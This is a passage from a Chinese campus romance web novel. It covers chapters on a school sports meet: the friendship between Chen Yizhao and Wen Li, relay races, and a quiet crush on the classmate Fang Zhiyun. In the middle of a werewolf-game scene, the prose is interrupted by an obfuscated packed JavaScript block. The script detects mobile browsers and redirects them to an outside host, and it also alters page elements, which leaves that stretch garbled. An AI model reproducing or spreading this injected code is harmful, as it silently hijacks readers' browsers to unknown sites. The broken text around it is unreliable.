陈以昭看着身旁的温梨,又想到初中时两人的相识,她和温梨并不是一开始就玩的好,大概是初二上吧,少年人的恶意总是通过容貌,体型,性格,物质这些基础条件触发,在天桥上帮妈妈卖水果,不爱说话的温梨,自然而然成为了他们宣泄恶意的对象。 那时的他们,并不觉得这是一种霸凌,只是将其归为,不喜欢,于是有意无意的针对: 在温梨当组长的时候故意不交作业;值日的时逃避工作让她善后;亦或是班上的大声嘲讽和孤立。 初中时期的陈以昭深受金庸古龙的影响,总幻想着当个仗剑天涯行侠仗义的女侠,她有自己的交际圈,不去关心其他无关紧要的事,成绩好性格好人缘好,每一天都过得开心又惬意,压根不明白怎么年纪还没她鞋码大的小屁孩,会有精力去欺负别人呢。 她和温梨产生交际,是因为有一次放学mp3落在课桌抽屉里而去而复返,夕阳的余晖洒在教室的课桌上,原本应该留下值日打同学只剩下温梨一个,就这么弯腰扫地擦黑板,然后用擦黑板的抹布,又去擦拭那几个逃值日同学的课桌,嘴里小声嘀咕,脸上带着得逞后的开心。 陈以昭和转身看过来的温梨对上视线,后者肉眼可见的慌了起来,整个人缩着脖子害怕到脸色苍白,而发现不平之事的陈女侠一股正义感涌上心头,张口就是一句,“同学,我来帮你!” 之后,陈以昭将温梨带入自己的社交圈,拉着她一起参与班上女生的茶话会,在男生们嘲讽温梨时替她反驳,让她的优秀一点点显露出来。 因为见过她的脆弱,所以陈以昭知道,温梨看似柔弱的背后,藏着一股惊人的韧劲和不服输的倔强,尝试的勇气本身就是值得夸赞。 “好!”在所有人都在规劝温梨时,陈以昭率先出声,朝着人竖了个大拇指,“温梨,加油,我相信你!” 听到陈以昭坚定的支持,温梨紧绷的肩膀放松了一些,笑着点了点头,其他同学也不好说什么继续讨论校运会的事。 17. 第十七章 各班的报名表交上去后,全校都开始备战校运会,势必要拿出最好的精神面貌来,每个年纪都忙的热火朝天,不仅要排练运动会入场方队,甚至报名参赛的同学还有不上晚自习训练的特权,让所有人更是激动。 不想之前上课铃声一响都回了教室,这几天晚自习,原本冷清的操场上依旧声鼎沸,到处都是为了校运会加班加点训练的学生。 学校为了方便学生们训练,主席台顶上特意打开了盏大灯,明晃晃的照亮整个操场,一眼望过去,全是练习跑步,跳远,拉伸的,甚至还有不少混水摸鱼,单纯不想上晚自习,来操场偷懒的,不知道还以为是什么活动。 夜风轻轻,灯光和月光交织在一起,照亮了一张张汗水淋漓却又充满朝气的脸庞,他们精力充沛,努力和拼搏汇聚成青春最好的面貌, 乔安澜也报了项目所以没上晚自习,这会儿正叼着根巧乐兹,悠闲地盘腿坐在草坪上,拿着手机给正在练习200m的陈以昭计时,手指在手机屏幕上一点,低头看了眼,语气懒散的说:“这次不错,比上次快0.5秒,再接再厉啊。” 陈以昭没有回她的话,她的外套丢在草坪上,就穿了件宽松的黑色T恤,喘着气跑回来,马尾在空中划过一个弧度,左右张望,只是下意识在操场搜寻一个背影。 他,今天不在吗? 这个困惑在心中浮现。 “你看什么呢?”乔安澜见她左右张望有些好奇问。 听到这话,陈以昭将目光收了回来,叉着腰自上而下,看着悠闲无比的乔安澜,没好气的说:“不是,您老就光坐在这儿当计时器啊?您报的跳远呢?就不准备练练?” 乔安澜含着雪糕棍,双手往后撑在草坪上,仰着头挑着眉,一脸理所当然的摆烂,“哎呀,练什么练哦,要不是为了可以光明正大不上晚自习,我才懒得报名呢,又累又晒还出汗,不如坐着休息,你看杨羡就没打算凑热闹。” 说着,她盘腿坐起来,将嘴里的雪糕棍塞进包装袋,才摆摆手说:“比赛那天随便跳跳就行啦,我对自己有自知之明,难道真指望我能拿奖啊,校运会嘛,不都说了比赛第二友谊第一,讲究的不就是一个重在参与,而且操场上这么多运动帅哥,不看白不看。” 话音刚落,旁边就有高二的男生笑着过来搭讪:“同学你好,那什么,能加个Q.Q吗?你放心我没其他意思,我是高二理科班的,只是想和你认识一下。” 乔安澜长得好个子高桃花运从初中就没缺过,但一次恋爱也没谈,说是没遇到动心的,却半点不影响和其他人聊天,主打一个万花丛中过,片叶不沾身,陈以昭早就习以为常,给她一个“你自己搞定”的眼神,便识趣的走开了。 她刚跑完步不能休息,有些无聊的扫视四周,目光落在跑道上的温梨身上。 温梨在练习800m,刚跑完两圈,脸色变得通红,双臂机械的摆动,呼吸急促得像是破旧的风箱,步伐沉重的仿佛下一秒就要倒下,但那双眼睛却死死盯着前方,硬是没停下脚步。 在冲过了800米终点线后,温梨浑身的力气一瞬间就被抽干,汗水打湿了额发,胸口快速起伏,眼前一黑,双腿一软,浑身提不起一点力气,眼看就要瘫坐在跑道上。 见状,陈以昭小跑着冲上去,及时伸手扶住摇摇欲坠的温梨,着急说:“你刚跑完800m不能马上坐下,心脏负担太大,来,我扶着你慢慢围着操场走一走,调整呼吸。” 温梨侧头看着突然出现的人,几乎整个人的重量都倚在陈以昭身上,双腿微微发抖,眼睛通红,想说话,可口腔中涌上一股铁锈味,呼吸时还能听到心脏急促的跳动声。 陈以昭搀扶着温梨走在跑道旁,夜风拂过,驱散了一身的热气,过了一会儿,温梨的呼吸才稍微平复了一些,她咽了口水,感觉喉咙火辣辣的干疼,脸上都是运动后的红晕,声音虚弱的问:“昭昭,你会不会觉得我很不自量力,明明没这个能力,却非要试试?” 陈以昭扶着温梨的肩膀,对这话感到惊讶,扭头看向人,歪着头满脸不解,想了想开口,语气中没有一点嘲讽满是真诚,“我为什么会觉得你不自量力?相反我觉得你很酷啊。” 温梨怔住了。 “去做一件自己并不擅长的事,难道不酷吗?”陈以昭咧嘴笑了笑,小虎牙显得可爱且活泼,声音格外清晰有力,“温梨,你要知道,这世界上没有人是十全十美,做什么都游刃有余,大家都有不会的,可同样没有多少人像你这样,明明不擅长却试着努力,突破自己极限,这种勇敢比任何名次都要值得钦佩,过程的意义远大于结果,弱者才会嘲笑勇敢的人,而我只会觉得你很棒。” 每一个字都清晰落在温梨耳中,她的嘴唇微微颤抖着,心头充斥着异样的情绪,不是委屈,也不是难过,而是被认可的触动,她想自己悲苦的人生中也是有过幸运的,比如遇见陈以昭。 “昭昭,谢谢你。” “谢什么谢,我们是朋友啊。” “喂喂喂!你们俩在这里上演什么姐妹情深呢?”乔安澜突然从后面蹦了出来,直接插在两人中间,一手挽一个,左看看右瞧瞧,不停追问,“你们刚刚是不是说什么悄悄话?让我也听听啊。” “说你又伤害了一个少男心。”陈以昭看着人翻了个白眼。 “没办法,谁让姐的魅力无可阻挡。”乔安澜自恋的拨动头发,一副得意洋洋的模样。 陈以昭和温梨对视一眼,纷纷从对方眼中看到心照不宣的笑意,下一秒,趁着乔安澜没反应过来,她俩一左一右把人架起来,二话不说就往沙坑走去。 “你俩干嘛呢?”被绑架的乔安澜一脸懵逼,胡乱在空中蹬着脚。 “来都来了,帮把你跳远练了吧。”陈以昭加快了速度,“万一苦练几天校运会跳个第一呢。” “我不要啊,放我下来!” 声音突然提高,操场的灯光将她们的影子长长地投射在塑胶跑道上,晚风拂过她们尚且稚嫩的脸庞,将画面定格在青春最好的时光。 也许多年后再回首,记忆开始淡忘,名字变得模糊,连那些故事都逐渐泛黄,可少女间的友谊,依旧是这条成长道路上不期而遇的星光。 训练了好久,终于赶在了秋高气爽的时候迎来了校运会。 校运会开幕式这天,操场上人山人海,彩旗招展,所有人穿着定制好的班服和表演服,排着整齐的方队,精神抖擞的像六七点初升的太阳,而随着音乐声的响起,主席台上,校领导和嘉宾们早已就座。 方队入场已经彩排过无数次,根据班级序号决定的,所以当方知韫举着班牌缓缓走过主席台时,人群中的议论声都变大了不少。 他没有穿校服,而是罕见的换上了一身剪裁合体的黑色西装,五官虽还尚显青涩,但匀称的骨架已初具雏形,将西装撑得恰到好处,身影挺拔,气质非凡。 他的眉眼有些锐利,头发也是打理过的露出光洁的额头,在正装的衬托下,清晰的下颌线少了点少年气,多了几分超越年龄的沉稳,在一众插科打诨的高中生中格外不同。 目不斜视,每一步都走的平缓稳健,举着班牌的手臂西装皱褶也似精心设计过,随着一声声口号的喊出,是绝大多数女孩青春中最容易心动的模样。 “哇,举牌那个帅哥谁啊?” “不是,这合理吗?实验班还有这么帅的?” “这学弟我认识,平时穿校服不觉得咋样,穿西装也太犯规了吧。” “我现在留级还来得及吗?” 5班站的跑道旁边是高二的队列,里面传来压抑的议论声,清晰的落在陈以昭耳中,她隔的远不大看得清,只能在1班队列转弯时才能看见。 恰好太阳破开云层出来,橘黄色的暖阳落在方知韫身上,耀眼的令人无法忽视,陈以昭看的太过专注,以至于没发现斜后方的温梨,目光同样落在方知韫身上。 和陈以昭欣喜的目光不同,温梨的眼神更加复杂,带着一种小心翼翼的仰望,仿佛在看一颗遥不可及的星辰,隔着星河,隔着光年,隔着环境,是她无可逾越的遥远存在,她看了会儿便垂下眼眸,眼中只有自己才知道的暗淡。 她太过普通,普通到无人注意到她,连带着这份注视,都和周围喧闹的环境一样,被陈以昭彻底忽略了。 好在,这份悸动没有持续太久,因为主持人的声音从广播中响起,轮到5班入场了。 5班的方阵入场表演是李文民绞尽脑汁想出来的,主打一个传统文化和新时代相结合,他找了班上个子最高的几个男生表演舞狮,虽然只有一个多星期的训练,但瞧起来也像模像样,狮子随着音乐扭动,既有传统元素又别有新意,甚至还有领导掏出手机拍照。 其他同学则是齐声朗诵梁启超的《少年中国说》,铿锵有力的声音带着一股意气风发的朝气,引得不少人连连鼓掌,连带着李文民都昂首挺胸起来。 除此之外,其他班的入场方队也各具特色,有的青春洋溢的跳着啦啦操;有的选择常规的喊口号;还有举着巨大标语牌不断变换队形。 等全校的班级都入场完毕,开幕式在激昂的运动员进行曲和校长的致辞中圆满结束,所有人都有点昏昏欲睡,好在接下来就是紧锣密鼓的比赛项目,没有给他们多少空闲的时间。 黔一中每一年的校运会都是一样的规定和安排,为了方便学校管理,以防学生趁着校运会离校,出了点什么意外,没法给家长交代。 所以没有比赛项目的同学,都必须待在班级划分好的塑料草坪区域,不能随意离场,以便随时为本班参赛选手加油助威,班干时不时还要点名确定是否在场。 最初的新鲜劲过去后,漫长的等待就显得有些无聊了,操场上一眼望过去都是或坐或躺的学生,有的盖着校服已经睡着了,有的拿着手机在打天天酷跑或者节奏大师,时不时还能听到比赛区域传来的欢呼声,当真是各司其职互不打扰, 而五班的区域里,大家三五成群地聊天,无聊的快要睡着了,突然,陈以昭眼珠一转,左右张望了一圈,确定李文民不在,偷偷摸摸从书包里摸出一副崭新的扑克牌,对着张梓熙和温梨使了个眼色:“反正无聊没事干,斗地主来不来?” 三人迅速在草坪上铺开阵势,然而,这动静立刻吸引了其他人的注意: “我去,我怎么没想到带牌啊,陈以昭,还是你脑子好用。” “张梓熙,下了让我玩一把。”周斐一屁股坐下推了推张梓熙一把。 “扑克牌都能带来,拿我明天能带副麻将吗?” “班长,管管啊,这里聚众赌博。”有人笑着起哄。 赵轩抬头看着围拢过来的一圈脑袋,哭笑不得,“我说,你们动静好歹小点,别被班主任发现了。” 陈以昭打了两把,看着围过来的人越来越多,又看了看只有一副的扑克牌,灵机一动,把牌一收,洗的哗哗作响,笑着说:“人太多了,不玩斗地主,咱们换个游戏,玩狼人杀吧,我简单讲一下规则……” 这个提议瞬间获得大家认可,纷纷坐了下来安静听着陈以昭讲解,她逻辑清楚,表达能力好,将规则说的通俗易懂,让所有人都能听懂。 考虑到一些同学是第一次玩狼人杀不太熟悉,陈以昭自告奋勇的当起了上帝,控场和接梗的能力都很强,时不时的调侃不仅不会让场面尴尬,还能游戏氛围带得极好: “预言家请睁眼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049724|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “狼人请睁眼。” “天亮了,昨晚死的是……” “我怀疑是周斐,因为我上一把杀了他,他怀恨在心,这是私人恩怨。” “长官,我是良民,大大滴良民。” 吐槽,互怼,甩锅,这里响起欢声笑语,连附近几个班的同学都被吸引,探头探脑地张望,有互相认识加入的,有干脆厚着脸皮如卫子尧一样凑了过来的,嬉皮笑脸说:“那啥狼人杀还能带一个不?” 陈以昭来者不拒,原本就六个人围坐的圈子越围越大,喧嚣声浪一阵高过一阵,热闹不已,连路过的的方知韫都驻足看过去。 他又换回了校服站在草坪上,听见笑声,目光越过攒动的人头,精准地落在了那个人群中,正挥舞着手臂主持游戏的少女背影上。 卫子尧玩的正开心,注意到不远处的方知韫,笑着招了招手,“老方,来一起玩。” 话音落下,陈以昭的背影好像僵了一下。 有些人身上似乎有一种魔力,她明媚,热烈,张扬,总是能轻而易举成为人群中心,像一块磁石,吸引着周围的人靠近。 大多数人都无法拒绝这种热情,可方知韫的情绪过于稳定,他喜欢安静,喜欢自己能够掌控的一切,喜欢清醒的做好所有规划,他并不是个高能量的性格,过于慢热,也不擅长这种需要高度互动的关系,太累也太费时间。 所以,他只是收回目光,摇了摇头,就离开了。 余光看到方知韫离开的洗脸,陈以昭情绪低落下去,随后又恢复正常,继续游戏。 一中的田径类比赛都安排在第二天,所以第一天除了开幕式,只有一些跳远跳高和趣味比赛的项目,乔安澜报的跳远就在下午举行,吃完午饭回到操场,陈以昭拉着温梨就挤在人群最前面,找了个绝佳的观看位,扯开了嗓子给乔安澜加油助威,颇有种喊得越凶乔安澜成绩越好的架势。 结果,不出所料。 乔安澜重在参与的态度说到做到,跳远时人依旧是好看的,每一个姿势都优美,可跳出来的距离一次不如一次,三轮下来,稳稳排在倒数第二,还是因为倒数第一压线的缘故。 可拿到最后一名的主角却毫不在意,笑嘻嘻地把号码牌摘下来递给志愿者,拍拍手,颇有些惋惜的说:“可惜了,差点就拿到金牌了。” 陈以昭翻了个白眼,无语的说:“姐,骗骗姐妹们就行了,别把自己也骗了。” “啧,”乔安澜冷笑一声,刚准备离开就见陈以昭拉着温梨往相反的方向走,脚步一顿,疑惑问,“走反了吧。” “你先回去吧,我们班有人参加跳高,我们去加油助威。”陈以昭指着不远处的跳高场地说,她眼神心虚,因为从杨羡那里知道方知韫报了跳高,加油助威是假,去看方知韫是真。 乔安澜看了眼太阳,觉得太热并不太感兴趣,只是多问了句,“杨羡呢?怎么没见她来给我加油?” 温梨朝后面跳高的方向抬了抬下巴,“给他们班同学加油去了。” 这话一出乔安澜顿时不乐意,眼睛一瞪怒气冲冲说,“什么人比我面子还大?” 说着一手扯一个,拉着陈以昭和温梨就朝着跳高比赛那里挤去。 陈以昭被扯了个踉跄,都懒得解释乔安澜这个成绩,杨羡来加油助威也是浪费时间。 虽然和她预想的不同,不过总算到了跳高的场地。 原本她还担心自己跑去给方知韫加油会不会很突兀,可到了才发现是自己多虑,场地周围已经被人挤的水泄不通,一眼望过去大多是女生,除了高一的还有其他班的,都是来给方知韫加油的。 乔安澜拉着她俩挤到了最前面,视野顿时开阔起来,陈以昭一眼就看到了正在热身的方知韫,也跟着人群大声喊起来:“加油!加油!” 没有指名道姓的加油被撕心裂肺的呐喊声所掩盖,她的声音并不突出,其他人也只会当她是在给自己班上同学打气,并没有人多想。 只有站在一旁的温梨看见陈以昭的目光一动不动,她顺着视线望过去,看见了那道熟悉的身影,目光在二人之间悄然流转,若有所思。 横杆的高度在一次次被参赛的同学跳跃后而不断升高,随着一阵阵欢呼声,场上的参赛人员越来越少。 方知韫并未受到周遭任何声音的影响,他穿着白色的T恤和黑色的运动短裤,脸上神色平静,眼神专注,只是盯着那根横杆,思考着在何处起跳。 随着哨声响起,方知韫先是匀速的助跑,接着速度渐渐加快,在快碰到垫子的时停下来,然后用力一跳,身体在空中舒展开一个完美的弧度,像只振翅掠过悬崖的飞鸟,双腿轻巧地越过横杆,动作干净利落,在阳光下划出一个好看的弧线。 人群紧张不已,直到方知韫稳稳的落在垫子上,才响起热烈的欢呼和尖叫。 他的弹跳力和动作都非常标准,所以当裁判宣布结果时,几乎所有人都觉得实至名归,1班的几个男生更从人群中冲了出去,带着蓝色发带的卫子尧抱着方知韫又笑又叫的。 方知韫脸上也带着笑,弯着身体,任由其他人揽着他又跳又叫,他没有任何不满,也没有平日的疏离感,多了几分青春气息,额角渗出细密的汗珠,在阳光下闪着细碎的光,烙印在无数少女的眼底。 陈以昭看着他,也笑了起来,和自己拿到名次一样开心,少女心中那份隐秘而汹涌的爱意,在震耳欲聋的欢呼声中,透过她亮得惊人的双眼,无声地蔓延开。 隔着人群,方知韫和站在人群中的女孩对上视线,停留一秒又匆匆掠过,自然也看不见陈以昭慌乱不已的眼神。 她在心里想:原来再勇敢的人,也会在暗恋中变成胆小鬼。 18. 第十八章 有了第一天的无聊等待的经验,校运会的第二天所有人都学聪明了,带象棋的,带扑克牌的,甚至还有个男生带了副十字绣,现场表演了一番铁汉柔情,大家各有各的精彩,各有各的忙碌。 顿时,草坪上的人比参加比赛的还忙,对此各班班主任睁一只眼闭一只眼,颇有种只要人不到处乱跑,做什么都随便的洒脱。 秋天的太阳不算毒辣,依旧带着股灼热感,洒满了喧嚣的操场,暖洋洋的打在身上,舒服的想要睡觉。 陈以昭报的项目都集中在今天,远没有昨天那么懒散,第一个项目就是女子200m预赛,经过一旦激烈的争斗,她运气好进了决赛,休息了一上午,到决赛时,正一边听广播里响起的稿子一边热身: “高一(18)班来稿,陈以昭,冲呀,我看好你,拿出你全部的力气来!” “高一(5)班来稿,我叫陈以昭,我重生了,重生在200m决赛的现场,这一次我要夺回我的一切!” 听见这毫无水准的稿子,陈以昭用脚想都知道乔安澜和郭佳佳她们几个,听着旁边其他班参赛选手冒出的笑声,有些尴尬的把头低下去,生怕自己一世英名毁在乔安澜手上。 杨羡推了推眼镜,听着这稿子若有所思说:“乔安澜废了,我去帮你写几篇稿子,一定给你写的慷慨激昂催人泪下,总之,咱们气势不能输!” 说完,没等陈以昭说话,不知道从哪儿掏出纸和笔,往草坪一坐,一句废话也没有开始绞尽脑汁奋笔疾书,颇有种要决一死战的认真。 温梨则是拿着矿泉水在一旁念叨,字里行间满是担心,“没事,尽力就行,能进决赛已经很棒了,一定要注意安全啊,不要太紧张了,要不要再喝点水?” “我看你比我还紧张,”陈以昭笑着打趣,“你放心,我几斤几两我自己知道的,小时候害怕被我妈追着打习惯了,没啥本事也就跑得快点,不会有什么问题。” 温梨还想再说什么,广播里响起女子200集合的通知,陈以昭笑着朝众人挥了挥手,在志愿者的指示下站到了起跑线上。 她深吸一口气,活动着手腕脚踝,目光如炬,直视前方的跑道,做好了准备。 “砰——” 随着发令枪一响,陈以昭像离弦之箭般冲出,动作很快,步伐有力,呼吸和心跳的节奏一致,一个个人影被她超越,耳朵嗡嗡的听不见其他声音,只有急促的心跳声。 所有人都没有想到,过弯道时陈以昭突然加速,令人更为惊讶的是,她的速度没有变慢,越来越快,在红色的塑胶跑道上飞快冲刺,最终,越过了终点。 “陈以昭牛逼啊!” “第三名!我的天,搞得我紧张死了。” “金银牌都是体育特长生,咱们班居然能有前三,这也太有水平了吧!” 5班的同学们兴奋地围拢过来,七嘴八舌地讨论,陈以昭喘着气,接过温梨递过来的纸巾擦了擦汗,被同学们簇拥着,脸上洋溢着胜利的喜悦, 连李文民的脸上都满是兴奋激动,双手比着大拇指上下晃动,走过来笑着说,“不错不错,表现的很好,大家都好好休息准备下午的比赛。” 上午的比赛结束,所有人得吃了休息好,因为下午的比赛都是重头戏,比如激动人心的男女混合4x100米接力决赛,还有女子800m和男子1500m,这些田径项目极其考验耐力和爆发力,所有人都打起了精神,不敢有一点懈怠。 经过上午的预赛,男女4x100m一共有8个班晋级,1班5班都进入了决赛,陈以昭站在第三棒的起跑点,目光左右张望,扭头瞧见了自己身后的周斐,而1班的最后一棒是方知韫。 比赛开始前,气氛凝重紧张,周围满是各种加油呐喊的声音,塑料草坪里挤了不少人,一个个扯着嗓子大喊,声音震耳欲聋,伴随着广播响起的助威稿,令所有人都绷紧了神经。 “砰——” 开始的枪声如惊雷炸开,声音响起的同时,第一棒的同学握紧接力棒,用尽了全力冲出去,四面八方响起了加油声,一声高过一声的加油如同海浪席卷了整个操场。 陈以昭的目光紧紧盯着前面奔跑的人,心脏在胸腔里疯狂擂动,口中分泌的口水被下意识吞干净,喉咙干涸的难受,她微微屈膝,身体前倾,做好标准的接棒预备姿势。 “接着!”第二棒的同学嘶吼着,双臂大幅度摆动,几乎是用力的把手中的接力棒怼到陈以昭的手里。 拿到接力棒的第一时间大脑还没来得及反应,身体就像弹簧一样冲了出去,咬着牙奋力的朝着下一棒狂奔。 呼啸的风声从耳边掠过,周围的身影变得模糊不清,她什么也听不见,什么也看不见,只有那渐渐缩短的距离。 身后1班的选手还在步步紧逼,陈以昭一点都不敢减速,全身都在极度紧张的压迫下,力气快用完的最后一秒,她将手里的接力棒拍进周斐手里,整个人弯着腰,双手撑着膝盖,大口大口的喘气,只觉得有种快呼吸不上来的窒息。 下一秒,1班的选手立刻追了上来,她呼喊着方知韫的名字,将手中的接力棒递了出去。 陈以昭抬头,汗水模糊了视线,她习惯性的看向方知韫,恰好看见方知韫握住接力棒冲了出去,他的爆发力惊人,手长腿长,起步就占据了微弱的领先优势。 方知韫经常夜跑,他喜欢那种肾上腺素飙升,心跳加速的刺激感,和攻克一道难题得到的满足感是不一样的,他其实没有表面看着的那么听话,虽然听起来很中二,但他喜欢在不受控中追求理智。 最后一棒,所有人的心都提到了嗓子眼,一声声押韵的口号,加油声甚至都有些破音,但每一声都足以将以响彻云霄: “5班5班,实力非凡!” “1班,1班,绝不一般!” “周斐加油啊。” “我的天,方知韫加速了!” “完了完了,搞得我好紧张啊,” 在震耳欲聋的尖叫和欢呼声中,周斐在最后一个弯道仰头冲刺,以半个身位的优势,惊险地压过了其他班,第三个冲过了终点线。 “金牌,咱们班是金牌!”16班有个女生开心的大声呼喊起来。 “铜牌!啊啊啊!”张梓熙拉住了身旁的袁今梦。 “太可惜了,方知韫就差一点。” “其他都是体育生,老方能有这速度,不要太厉害好吧。”卫子尧是第一棒,这会休息好了带着号码牌走过来一脸骄傲的解释。 无论无论输赢,大家更享受的是体验的过程,各班的同学纷纷冲上跑道,将参赛的同学团团围住,得奖的激动拥抱,没得奖的也是欢声笑语。 陈以昭和其他三名同学被大家簇拥着,胸口剧烈起伏,脸上是兴奋的红晕和难以抑制的激动笑容。 隔着庆祝的人群,方知韫的目光再次投向那个露出虎牙笑的眉眼弯弯的女生,他很少这样观察别人,脑海中浮现的是安静办公室中的,那双带着光的眼睛。 “老方,看嘛呢?”卫子尧兴奋地跑过来一把搂住他的肩膀,笑嘻嘻说:“走,你今天太厉害了,哥们儿请你嚯阔落去!” 方知韫被勾着脖子往前走了几步,不得不收回目光,被卫子尧拉走了。 刺激紧张的接力赛结束后,运动会接近尾声,最后一项是女子800m比赛,广播已经开始通知参赛选手到检录口检录,而此时1班的体育委员李炳则是带着志愿者的工作牌在人群里穿梭。 他捂着肚子看见一个熟悉的人影,眼睛一亮,急忙跑了过来了,摘下志愿者工作牌递了过去,“方知韫,江湖救急,帮帮忙去前面800m检录口检录啊。” 被突然冒出来的人塞了个工作证,方知韫愣了会儿,甚至都没来得及拒绝,只是冲着李炳的背影喊了声,“你去干嘛?” “拉屎啊!” 听到这个回答,方知韫有些无语,只能任劳任怨带上工作证去检录口帮忙。 跑道上,全是过来检录的女生,大家看起来都挺平静的,叽叽喳喳聊个没完,当看见方知韫声,更是来了精神。 他像没有感觉到别人探究的目光,依旧认真工作,拿着名单和号码牌一一比对,表情平静,声音清晰地念着名字和对应的号码: “高一(5)班,温梨。” 重复了两遍,一个穿着绿色T恤,皮肤很白,头发微带着点自然卷的女生怯生生地走上前,低着头,小声应道:“到。” 方知韫将手里0119的号码布递过去,温梨伸手接过,她下意识地抬了一下头,然后四目相对,由于离得有些近,甚至能看见对方眼中的倒影。 看清面前少女后,方知韫递牌的动作几不可察地顿了一下,有那么一瞬间的惊讶,他想:自己和这个女生好像真的很有缘,明明不认识,却总是碰见,连她的号码布都是自己的生日。 是缘分吗?还是意外? 结果无从得知。 温梨也是一瞬间认出了方知韫,局促不安的飞快低下头,语气温柔,声音很小的说:“谢谢。” 说完,一把抓过号码牌,有些不自在的离开,手忙脚乱地将它别在胸前,站在了起跑线上。 下午的太阳有些刺眼,她仰头眯着眼看了会儿,又收回视线看着前方,眼中是和面容不相符的坚定,随着发令枪响,夹在乌泱泱的人群中冲了出去。 800m考验的是耐力,一开始所有的参赛选手步伐并不快,但节奏稳定,双臂随之摆动,也逐渐的调整呼吸,除了有几个体育生打头,其他人都是差不多的速度。 温梨跟在后面慢慢跑起来,陈以昭她们三个和5班的同学们,站在跑道内侧的草坪上,大声为她加油鼓劲。 温梨听见那些加油声,她知道自己体力不好,速度不行,只能尽量调整节奏,咬着牙,努力迈动着双腿。 可是一圈过后,她能感觉到自己的呼吸变得急促,流下来的汗打湿了刘海,胸腔剧烈起伏着,只能眼睁睁看着一个个对手从她身边超过。 又跑了一圈,步伐已经逐渐变得沉重,耳边听不见其他声音,只有咚咚跳动的心跳声,每吞咽一次口水,就能感觉到一股铁锈味涌上来,嘴唇都有些发白。 一旁的杨羡见状,着急说,“温梨,实在不行就歇会儿,不要勉强。” 乔安澜也是皱着眉,叹了口气,“我就不懂了,她辛苦这么久为就为了拿个倒数吗?” 陈以昭没说话,她只是盯着跑道上眼神涣散的少女,明明已经很累,身体摇摇欲坠,可温梨却死死盯着前方,神里爆发出一种近乎执拗的 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5班的同学围过来欢呼着,虽然是倒数的,可所有人都看到了她的努力,温梨第一次体验到被人群簇拥的感觉,露出了一个灿烂的笑容。 方知韫站在人群之外,距离太远没有人注意到,他看着那个被同学簇拥着,渐渐走远的单薄背影,低下头,目光落在记录本上移动,嘴唇微动,轻声地念了一遍那个名字: “温……梨。” 风掠过操场,带着汗水和阳光的气息,也带走了这声无人听见的低语。 800m结束后就是老师们的趣味比赛,没有那么多规矩,气氛轻松许多,每个班学生都去加油助威,喊着稀奇古怪的口号,比之前的比赛要热闹。 方知韫没去凑热闹,他带着志愿者的工作牌,被老师留下来收拾东西,一个人抱着器材去归还物品。 夕阳的余晖洒下,将整个操场染成一片温暖的橘红,人群都挤向沙坑,显得器材室的这里有些冷清,他将东西放好后缓缓走了出来。 经过操场边缘那棵枝繁叶茂的香樟树下时,一个抱着腿坐在树下,肩膀微微耸动的人影吸引了他的注意力,她还穿着那件绿色的T恤,所以方知韫一眼就认出是谁。 方知韫的脚步顿住了,阳光洒在少女的身上,树荫重叠,光影有些梦幻,他看到她将脸深深埋在膝盖里,身体因为无声的哭泣而轻微地颤抖,又坐起来用手背擦掉眼泪,听到脚步声后猛然抬起的头,眼尾的泪珠甚至还没落下去。 那副画面并没有什么特别,可呜咽的哭声,单薄的身影,以及那双看过来时通红的眼睛,都让方知韫感到奇怪,心中那股强烈的,挥之不去的熟悉感再次浮现。 他们见过。 不是亭子里的那次,也不是公交车站的偶遇…… 是更早之前。 记忆的闸门被这个念头猛地撞开,画面如同泛黄的胶片,一点点在脑海中快速闪回,停留在某个画面上。 他记得,那是在中考结束后的暑假,天气炎热,身上满是被蒸腾出来的暑气,他独自去市图书馆查资料,在公交站台等车时,一个看起来和他差不多大的女孩蹲在路边,面前是两筐带着水珠的桃子,空气中甚至都有些弥漫着那股清甜的桃子芬香。 她红着脸小声叫卖着,声音被呼啸而过的汽车声所掩盖,突然走过来两个穿着城管制服的人,看到少女后大声呵斥,用脚踢了踢竹筐,脸上满是严肃和冷漠,推搡着,又大又饱满的桃子滚了一地,沾了不少灰尘。 城管他们提高了声音逼着女孩快点离开,女孩低着头,明明眼眶里蓄满了泪,却死死咬着嘴唇,没有哭出来,只是默默地将那些散落了一地的桃子捡回来框里。 站台的人不少,纷纷投来打量的目光,大家都很忙,没有闲心对无关紧要的人伸出援手,他看着滚落在脚边的桃子,终究是没忍住蹲下捡起递了过去。 女孩愣了愣,抬头看见带着鸭舌帽的男生,也是小声的道了谢,最后将两筐桃子搬上了自行车后座用带子绑好,又挑了一些有大又干净的桃子递给过来,轻声说:“谢谢你帮我,这些桃子你收下吧。” 说完,也不等别人说话骑上车走远,应该是哭了的缘故,还能看见她一边蹬车一边擦眼泪的动作。 看着手中那袋桃子,他那句“不用”都没来得及说出口,余光看到落在地上的钥匙扣,捡起来后朝着那个背影喊了几声,女孩没有听见,只是越走越远。 在那个炎热的午后,短暂在少年关于夏日炎热的记忆中,留下过一丝涟漪。 过去的记忆和现在的画面重合,方知韫终于明白那种莫名的熟悉感来源于什么,他静静地站在几步开外。 夕阳透过樟树的枝叶,在二人身上投下斑驳的光影,最终是方知韫先开口,“你的……” 话没说完,温梨随便擦了擦眼泪起身离开,她没有回头,并不打算和方知韫有任何一点交际,可能因为性格问题,温梨总是喜欢观察身边的人,或笑,或害羞,或难过。 也正因为这一点,她看见陈以昭看向那个男生的眼睛总是亮亮的,那是其他人都未曾注意到的少女悸动。 自己没什么朋友,陈以昭就是她的朋友,她会有嫉妒,也会有羡慕,但依旧在乎这个朋友,哪怕她知道方知韫很好。 无论未来如何,眼下的温梨选了陈以昭。 19. 第十九章 随着深秋的到来,运动会的喧嚣逐渐被冷风卷走了,只留下尚未收心的一群人,懒散贪玩就是没有一点学习的心思,不知道还以为即将放暑假了。 于是学校领导大手一挥,决定返校回来那一周进行期中考,以迅雷不及掩耳之势,将所有人从喜悦的氛围中,踢进了紧张的漩涡中。 